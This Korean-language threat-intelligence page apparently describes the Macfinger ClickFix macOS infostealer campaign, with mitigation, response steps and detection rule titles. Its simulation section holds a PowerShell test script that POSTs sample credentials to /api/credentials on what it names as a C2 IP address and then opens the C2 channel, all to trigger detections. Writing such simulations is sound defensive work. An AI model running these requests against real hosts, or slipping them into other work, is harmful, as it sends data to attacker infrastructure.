SOC Prime Bias: High

28 Sep 2026 14:47 UTC

맥핑거 클릭픽스 캠페인: 악성 소프트웨어 분석

Author Photo
SOC Prime Team linkedin icon 팔로우
맥핑거 클릭픽스 캠페인: 악성 소프트웨어 분석
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Macfinger ClickFix 캠페인은 가짜 CAPTCHA 검증 페이지를 통해 확인되지 않은 macOS 정보 탈취기를 전달합니다. 이 공격은 쉘 스크립트를 사용하여 Intel 또는 Apple Silicon 시스템용 아키텍처 별 Mach-O 바이너리를 검색합니다. 실행되면, 악성코드는 광범위한 시스템 권한을 요청하며 HTTP POST 요청 및 WebSocket 기반 통신을 통해 민감한 정보를 유출합니다.

조사

조사는 macOS 27.0 호스트에서 관찰된 감염에 중점을 두었습니다. 분석가들은 초기 쉘 스크립트 로더, 이어지는 Mach-O 바이너리 검색, 그리고 악성코드의 명령 및 제어 통신 패턴을 추적했습니다. 연구는 또한 지속성, 데이터 수집 및 유출 행동의 차이점을 바탕으로 이전에 문서화된 AMOS Stealer와 이 위협을 구별했습니다.

완화

사용자는 의심스러운 브라우저 기반 CAPTCHA 메시지와 상호작용하거나 웹사이트가 제공하는 예상치 못한 터미널 명령을 실행하지 않도록 해야 합니다. 조직은 LaunchAgents에 대한 비인가 변경과 /Library/Caches 디렉토리에 기록된 의심스러운 다운로드를 모니터링해야 합니다. 관리자 권한을 제한하는 것도 악성코드의 시스템 전역 권한 획득 능력을 줄일 수 있습니다.

대응

Macfinger 관련 활동이 감지되면, 추가 데이터 유출을 방지하기 위해 감염된 macOS 엔드포인트를 네트워크에서 분리하십시오. 영구성 아티팩트를 식별하기 위해 /Library/LaunchAgents/ and /Library/Caches/ 디렉토리를 포렌식 분석하십시오. 시스템 로그를 검토하여 문서, 데스크탑, 다운로드와 같은 민감한 위치에 대한 비인가 권한 요청 및 접근을 확인하십시오.

공격 흐름

탐지

의심스러운 명령 및 제어 (비정상 톱레벨 도메인 (TLD) DNS 요청) (via dns)

SOC Prime Team
2026년 9월 28일

Base64 인코딩된 문자열 조작 가능성 [MacOS] (via cmdline)

SOC Prime Team
2026년 9월 25일

의심스러운 Curl 실행 시도 [MacOS] (via cmdline)

SOC Prime Team
2026년 9월 25일

탐지: Macfinger ClickFix 캠페인에서의 악성코드

SOC Prime AI 규칙
2026년 9월 25일

탐지: Macfinger ClickFix 캠페인에서의 악성코드

SOC Prime AI 규칙
2026년 9월 25일

탐지: Macfinger ClickFix 캠페인에서의 악성코드

SOC Prime AI 규칙
2026년 9월 25일

Macfinger ClickFix C2 트래픽 및 데이터 유출 탐지 [HTTP 트래픽]

SOC Prime AI 규칙
2026년 9월 25일

Macfinger ClickFix 캠페인 감염 탐지 [macOS 프로세스 생성]

SOC Prime AI 규칙
2026년 9월 25일

시뮬레이션 실행

  • 공격 내러티브 및 명령: 공격자는 초기 접근에 성공했으며 수집된 자격 증명을 유출하려고 시도합니다. 일반 웹 필터에 의한 탐지를 피하기 위해, 그들은 사용자 자격 증명을 C2 엔드포인트 /api/credentials보내는 POST 요청을 전송하도록 프로그래밍된 맞춤형 Go 기반 에이전트를 사용합니다. 이후, 추가 명령을 수신하기 위해 WebSocket 연결을 설정합니다. /api/t 시뮬레이션은 PowerShell을 사용하여 이러한 특정 HTTP 특성(IP, 사용자 에이전트 및 URI)을 위조하여 탐지 규칙을 트리거할 것입니다.

  • 회귀 테스트 스크립트:

    # Macfinger C2 트래픽 시뮬레이션
    $C2_IP = "95.163.153.80"
    $UserAgent = "Go-http-client/1.1"
    
    Write-Host "[+] Macfinger 시뮬레이션 시작..." -ForegroundColor Cyan
    
    # 1. HTTP POST를 통한 데이터 유출 시뮬레이션
    Write-Host "[+] 데이터 유출 시도 (POST /api/credentials)..." -ForegroundColor Yellow
    try {
        $exfilParams = @{
            Uri         = "http://$($C2_IP)/api/credentials"
            Method      = "POST"
            UserAgent   = $UserAgent
            Body        = "user=admin&pass=P@ssword123"
            ContentType = "application/x-www-form-urlencoded"
        }
        Invoke-RestMethod @exfilParams
    } catch {
        Write-Host "[-] 요청 실패 (IP에 접속할 수 없는 경우 예상되는 결과): $($_.Exception.Message)" -ForegroundColor Gray
    }
    
    # 2. WebSocket을 통한 명령 및 제어 시뮬레이션 (특정 URI에 대한 HTTP GET으로 시뮬레이션)
    # 참고: 진정한 WebSocket 핸드셰이크는 특정 라이브러리가 필요하지만, 네트워크 원격 탐지에서는 
    # 초기 GET 요청이 주요 트리거입니다.
    Write-Host "[+] WebSocket 핸드셰이크 시도 (GET /api/t)..." -ForegroundColor Yellow
    try {
        $wsParams = @{
            Uri         = "http://$($C2_IP)/api/t"
            Method      = "GET"
            UserAgent   = $UserAgent
        }
        Invoke-RestMethod @wsParams
    } catch {
        Write-Host "[-] 요청 실패 (IP에 접속할 수 없는 경우 예상되는 결과): $($_.Exception.Message)" -ForegroundColor Gray
    }
    
    Write-Host "[+] 시뮬레이션 완료." -ForegroundColor Cyan
  • 정리 명령:

    # 이 시뮬레이션 스크립트로 인해 생성된 영구 아티팩트는 없습니다.
    # 타겟 IP로의 활성 연결이 남아 있지 않은지 확인하세요.
    Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false